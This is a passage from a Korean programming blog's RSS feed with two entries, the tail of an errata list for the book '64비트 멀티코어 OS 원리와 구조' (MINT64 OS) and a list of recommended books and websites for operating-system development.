&lt;blockquote class=&quot;webkit-indent-blockquote&quot; style=&quot;margin: 0 0 0 40px; border: none; padding: 0px;&quot;&gt;&lt;p&gt;// 현재 라인에서 남은 문자 수와 &lt;b&gt;한 라인에 &lt;/b&gt;출력할 수 있는 문자 수 를 비교하여 작은 것을 선택&lt;/p&gt;
&lt;/blockquote&gt;&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;&lt;b&gt;*. 2692 Page, 위에서 12번째 줄&lt;br /&gt;
&lt;/b&gt;&lt;/p&gt;
&lt;blockquote class=&quot;webkit-indent-blockquote&quot; style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;&lt;p style=&quot;margin: 0px; padding: 0px;&quot;&gt;g_stGameInfo.iBlockX = -1;&lt;/p&gt;
&lt;p style=&quot;margin: 0px; padding: 0px;&quot;&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;g_stGameInfo.iBlockY = -1;&lt;br /&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;&lt;b&gt;*. 2693 Page, 위에서 10번째 줄&lt;br /&gt;
&lt;/b&gt;&lt;/p&gt;
&lt;blockquote class=&quot;webkit-indent-blockquote&quot; style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;게임판의 블록이 존재하는지 여부는 게임 자료구조의 &lt;span style=&quot;font-weight: bold;&quot;&gt;vvbBoard&lt;/span&gt; 필드에 저장되어 있습니다.&lt;br /&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;&lt;b&gt;*. 2694 Page, 위에서 5번째 줄&lt;br /&gt;
&lt;/b&gt;&lt;/p&gt;

&lt;blockquote class=&quot;webkit-indent-blockquote&quot; style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;게임 자료구조에는 현재 게임판의 정보를 저장하는 &lt;span style=&quot;font-weight: bold;&quot;&gt;vvbBoard&lt;/span&gt; 필드가 있으므로 움직이는 블록의 현재 좌표를 그대로 게임판에 저장하면 됩니다.&lt;br /&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;&lt;b&gt;*. 2720 Page, 아래에서 13번째 줄&lt;br /&gt;
&lt;/b&gt;&lt;/p&gt;

&lt;blockquote class=&quot;webkit-indent-blockquote&quot; style=&quot;margin: 0px 0px 0px 40px; border-style: none; padding: 0px;&quot;&gt;&lt;p style=&quot;margin: 0px; padding: 0px;&quot;&gt;g_stGameInfo.iBlockX = -1;&lt;/p&gt;
  &lt;p style=&quot;margin: 0px; padding: 0px;&quot;&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;g_stGameInfo.iBlockY = -1;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0px; padding: 0px;&quot;&gt;&lt;br /&gt;
&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/blockquote&gt;&lt;p style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;&lt;b&gt;*. 2766 Page, 위에서 4번째 줄&lt;br /&gt;
&lt;/b&gt;&lt;/p&gt;
&lt;blockquote class=&quot;webkit-indent-blockquote&quot; style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;


  &lt;p style=&quot;margin: 0px; padding: 0px;&quot;&gt;텍스트 뷰어에 한글 출력 기능을 추가하려면 한글인지를 &lt;span style=&quot;font-weight: bold;&quot;&gt;판단해 2바이트씩&lt;/span&gt; 출력하는 코드만 추가하면 되기 때문입니다.&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0px; padding: 0px;&quot;&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;&lt;b&gt;*. 2846 Page, 위에서 1번째 줄&lt;br /&gt;
&lt;/b&gt;&lt;/p&gt;
&lt;blockquote class=&quot;webkit-indent-blockquote&quot; style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;


  
  &lt;p style=&quot;margin: 0px; padding: 0px;&quot;&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;만든&lt;/span&gt; 첫 번째 한글 입력 모듈은 오토마타를 사용했습니다.&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;br /&gt;
    &lt;/span&gt;&lt;/p&gt;

&lt;/blockquote&gt;


&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;/p&gt;
&lt;p&gt;*. TODO...&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;&lt;div class=&quot;entry-ccl&quot; style=&quot;clear: both; text-align: right; margin-bottom: 10px&quot;&gt;
	&lt;img id=&quot;ccl-icon-781-0&quot; class=&quot;entry-ccl-by&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black01.png&quot; alt=&quot;저작자 표시&quot;/&gt;
	&lt;img id=&quot;ccl-icon-781-1&quot; class=&quot;entry-ccl-nc&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black02.png&quot; alt=&quot;비영리&quot;/&gt;
	&lt;img id=&quot;ccl-icon-781-2&quot; class=&quot;entry-ccl-nd&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black03.png&quot; alt=&quot;변경 금지&quot;/&gt;
	&lt;!--
	&lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
		&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; /&gt;
		&lt;/Work&gt;
		&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-nd/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;
		&lt;/License&gt;
	&lt;/rdf:RDF&gt;
	--&gt;
&lt;/div&gt;
&lt;div style='text-align: center; margin: 10px auto; height: 91px; overflow: hidden; clear: both;'&gt;&lt;iframe title='mixUP 위젯' src='http://mixsh.com/widget/new_mixup/loader_plugin.html?domain=kkamagui.tistory.com&amp;media_type=10&amp;guid=kkamagui.tistory.com%2F781&amp;regts=1322499139&amp;showhitcnt=1&amp;platform=10' frameBorder='0' scrolling='no' allowTransparency='true' width='402' height='130'&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;div class=&quot;another_category another_category_color_red&quot;&gt;
&lt;h4&gt;'&lt;a href=&quot;/category/OS%20Kernel&quot;&gt;OS Kernel&lt;/a&gt;&amp;nbsp;&gt;&amp;nbsp;&lt;a href=&quot;/category/OS%20Kernel/MINT64%20OS&quot;&gt;MINT64 OS&lt;/a&gt;' 카테고리의 다른 글&lt;/h4&gt;
&lt;table&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/781&quot; &gt;64비트 멀티코어 OS 원리와 구조 오탈자 리스트 - 2011/11/29 업데이트&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(4)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2011/11/29&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/776&quot; &gt;GCC에서 오브젝트 파일 생성 시 Debugging 정보 + coff 파일 포맷으로 생성하기&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(0)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2011/11/06&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/768&quot; &gt;ASLR 기법과 MINT64 OS에 ASLR 기법 적용 방안&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(4)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2011/10/12&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/765&quot; &gt;&amp;quot;64비트 멀티코어 OS 원리와 구조&amp;quot; 서평~!!&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(6)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2011/09/13&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/764&quot; &gt;QEMU 0.10.4 버전 압축 파일~!!&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(8)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2011/09/06&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/762&quot; &gt;Cygwin으로 64bit Binary가 생성가능한 Cross Compiler 만드는 방법&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(6)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2011/09/02&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;&lt;/div&gt;</description>
			<category>MINT64 OS</category>
			<category>64비트 멀티코어 OS 원리와 구조</category>
			<category>오탈자</category>
			<author>kkamagui</author>
			<guid>http://kkamagui.tistory.com/781</guid>
			<comments>http://kkamagui.tistory.com/781#entry781comment</comments>
			<pubDate>Tue, 29 Nov 2011 01:07:08 +0900</pubDate>
		</item>
		<item>
			<title>OS 개발 시 참고하면 유용한 책과 사이트 리스트</title>
			<link>http://kkamagui.tistory.com/780</link>
			<description>&lt;p&gt;OS 제작을 시도해본 분들은 아시겠지만...&lt;/p&gt;
&lt;p&gt;OS를 개발하려면 PC 하드웨어부터 OS 관련 지식까지 많은 정보가 필요합니다. ^^;;;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;&lt;p&gt;저 역시 책도 많이 보고 웹 사이트도 많이 찾아다녔는데요,&lt;/p&gt;
&lt;p&gt;OS를 개발할 때 도움이 되었던 책과 사이트를 정리해둘 필요가 있는 것 같아서 한자 남겨둡니다. &lt;br /&gt;
&lt;/p&gt;&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;&lt;p&gt;OS를 개발하시는 다른 분들에게 도움이 되었으면 좋겠네요. &lt;br /&gt;
&lt;/p&gt;&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;&lt;hr&gt;&lt;h3&gt;책 목록&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;a target=&quot;_blank&quot; href=&quot;http://www.amazon.com/Operating-System-Concepts-Abraham-Silberschatz/dp/1118112733/ref=sr_1_3?ie=UTF8&amp;amp;qid=1321721053&amp;amp;sr=8-3&quot;&gt;Operating System Concepts&lt;/a&gt; : 워낙 유명한 책이라 따로 설명이 필요 없을 것 같네요. ^^;;;&lt;/li&gt;
&lt;li&gt;&lt;a target=&quot;_blank&quot; href=&quot;http://www.amazon.com/Understanding-Linux-Kernel-Third-Daniel/dp/0596005652/ref=sr_1_1?s=books&amp;amp;ie=UTF8&amp;amp;qid=1321721360&amp;amp;sr=1-1&quot;&gt;Understanding the Linux Kernel&lt;/a&gt; : OS 개발에 관심이 있다면 이 책을 한 번쯤 들어보셨을 것 같네요. ^^;;; 역시나 설명이 필요없는 책~!!&lt;br /&gt;
&lt;/li&gt;&lt;li&gt;&lt;a target=&quot;_blank&quot; href=&quot;http://www.amazon.com/Design-Operating-System-Prentice-Hall-Software/dp/0132017997/ref=sr_1_1?s=books&amp;amp;ie=UTF8&amp;amp;qid=1321721143&amp;amp;sr=1-1&quot;&gt;The Design of the UNIX Operating System&lt;/a&gt; : 우연히 e-book을 구해서 읽기 시작함. Unix 시스템 전반에 대해서 아주 자세히 설명해줌&lt;/li&gt;
&lt;li&gt;&lt;a target=&quot;_blank&quot; href=&quot;http://www.amazon.com/Mmurtl-V1-0-Richard-Burgess/dp/1588530000/ref=sr_1_1?s=books&amp;amp;ie=UTF8&amp;amp;qid=1321721249&amp;amp;sr=1-1&quot;&gt;MMURTL V1.0&lt;/a&gt; : 위 책과 함께 우연히 e-book을 구해서 읽기 시작함. 32비트 멀티태스킹 OS를 만드는 내용을 담고 있음&lt;br /&gt;
&lt;/li&gt;&lt;li&gt;&lt;a target=&quot;_blank&quot; href=&quot;http://www.amazon.com/Indispensable-PC-Hardware-Book-4th/dp/0201596164/ref=sr_1_1?s=books&amp;amp;ie=UTF8&amp;amp;qid=1321721438&amp;amp;sr=1-1&quot;&gt;The Indispensable PC Hardware Book&lt;/a&gt; : PC Hardware의 모든 정보를 망라한 책~!!&lt;/li&gt;
&lt;li&gt;&lt;a target=&quot;_blank&quot; href=&quot;http://www.amazon.com/Undocumented-PC-Programmers-Guide-Memory/dp/0201479508/ref=sr_1_1?s=books&amp;amp;ie=UTF8&amp;amp;qid=1321721501&amp;amp;sr=1-1&quot;&gt;The Undocumented PC&lt;/a&gt; : 역시 PC Hardware의 모든 정보를 망라한 책~!!&lt;br /&gt;
&lt;/li&gt;&lt;/ul&gt;
&lt;br /&gt;&lt;hr&gt;&lt;h3&gt;사이트 목록&lt;br /&gt;
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;a target=&quot;_blank&quot; href=&quot;http://wiki.osdev.org/Main_Page&quot;&gt;OS Dev 사이트&lt;/a&gt; : OS 개발에 대한 많은 내용을 담고 있는 사이트&lt;/li&gt;
&lt;li&gt;&lt;a target=&quot;_blank&quot; href=&quot;http://www.osdever.net/&quot;&gt;Bona Fide OS Developer 사이트&lt;/a&gt; : OS 개발에 관련된 많은 자료와 예제 코드를 담고 있는 사이트&lt;/li&gt;
&lt;li&gt;&lt;a target=&quot;_blank&quot; href=&quot;http://nondot.org/sabre/os/articles&quot;&gt;The Operating System Resource Center&lt;/a&gt; : OS 개발에 관련된 각종 하드웨어나 소프트웨어 정보를 얻을 수 있는 사이트&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;그럼 즐거운 OS 프로그래밍하세요 ;)&lt;div class=&quot;entry-ccl&quot; style=&quot;clear: both; text-align: right; margin-bottom: 10px&quot;&gt;
	&lt;img id=&quot;ccl-icon-780-0&quot; class=&quot;entry-ccl-by&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black01.png&quot; alt=&quot;저작자 표시&quot;/&gt;
	&lt;img id=&quot;ccl-icon-780-1&quot; class=&quot;entry-ccl-nc&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black02.png&quot; alt=&quot;비영리&quot;/&gt;
	&lt;img id=&quot;ccl-icon-780-2&quot; class=&quot;entry-ccl-nd&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black03.png&quot; alt=&quot;변경 금지&quot;/&gt;
	&lt;!--
	&lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
		&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; /&gt;
		&lt;/Work&gt;
		&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-nd/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;
		&lt;/License&gt;
	&lt;/rdf:RDF&gt;
	--&gt;
&lt;/div&gt;
&lt;div style='text-align: center; margin: 10px auto; height: 91px; overflow: hidden; clear: both;'&gt;&lt;iframe title='mixUP 위젯' src='http://mixsh.com/widget/new_mixup/loader_plugin.html?domain=kkamagui.tistory.com&amp;media_type=10&amp;guid=kkamagui.tistory.com%2F780&amp;regts=1321722639&amp;showhitcnt=1&amp;platform=10' frameBorder='0' scrolling='no' allowTransparency='true' width='402' height='130'&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;div class=&quot;another_category another_category_color_red&quot;&gt;
&lt;h4&gt;'&lt;a href=&quot;/category/OS%20Kernel&quot;&gt;OS Kernel&lt;/a&gt;' 카테고리의 다른 글&lt;/h4&gt;
&lt;table&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/788&quot; &gt;&amp;quot;아키텍트를 꿈꾸는 사람들&amp;quot; 스터디에서 발표할 자료~!!&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(14)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/01/07&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/780&quot; &gt;OS 개발 시 참고하면 유용한 책과 사이트 리스트&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(0)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2011/11/20&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/342&quot; &gt;[ARM] ARM GCC가 만들어낸 어셈 코드 훓어보다보니...&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(0)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2007/11/05&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/324&quot; &gt;[ARM] 어?? 글고보니 Interrupt Vector Remapping은 어떻게 하는거지??&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(1)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2004/11/29&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/326&quot; &gt;[ARM] ldmia lr!, { r0 - r12, pc}^&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(0)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2004/11/27&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/325&quot; &gt;[ARM] 오우~ OS Timer를 이용한 Task Switching !!&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(0)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2004/11/27&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;&lt;/div&gt;</description>
			<category>OS Kernel</category>
			<category>OS 개발</category>
			<category>참고 도서</category>
			<category>참고 사이트</category>
			<author>kkamagui</author>
			<guid>http://kkamagui.tistory.com/780</guid>
			<comments>http://kkamagui.tistory.com/780#entry780comment</comments>
			<pubDate>Sun, 20 Nov 2011 02:10:39 +0900</pubDate>
		</item>
	</channel>
</rss>
